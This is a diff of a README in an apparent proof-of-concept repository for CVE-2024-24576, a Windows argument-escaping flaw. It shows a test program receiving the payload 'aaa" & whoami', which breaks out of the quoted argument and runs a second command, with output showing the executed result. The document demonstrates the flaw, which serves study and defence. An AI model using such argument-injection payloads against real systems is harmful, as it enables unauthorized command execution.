STRLCPY/CVE-2024-24576-PoC

Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)

Total 1 files

■ ■ ■ ■ ■ ■ ■

README.md

1	1		# CVE-2024-24576
2		-	Example of CVE-2024-24576 use case.
	2	+	Running the main.rs file with the following payloads give
	3	+
	4	+	```
	5	+	C:\Users\frost\testing>cargo run
	6	+	Compiling testing v0.1.0 (C:\Users\frost\testing)
	7	+	Finished dev [unoptimized + debuginfo] target(s) in 0.49s
	8	+	Running `target\debug\testing.exe`
	9	+	enter payload here
	10	+	aaa
	11	+	Output:
	12	+	Argument received: aaa
	13	+	```
	14	+
	15	+	```
	16	+	C:\Users\frost\testing>cargo run
	17	+	Finished dev [unoptimized + debuginfo] target(s) in 0.01s
	18	+	Running `target\debug\testing.exe`
	19	+	enter payload here
	20	+	aaa & whoami
	21	+	Output:
	22	+	Argument received: "aaa & whoami"
	23	+	```
	24	+
	25	+	```
	26	+	C:\Users\frost\testing>cargo run
	27	+	Finished dev [unoptimized + debuginfo] target(s) in 0.01s
	28	+	Running `target\debug\testing.exe`
	29	+	enter payload here
	30	+	aaa" & whoami
	31	+	Output:
	32	+	Argument received: "aaa\"
	33	+	desktop-8j2vk8b\frost
	34	+	```
3	35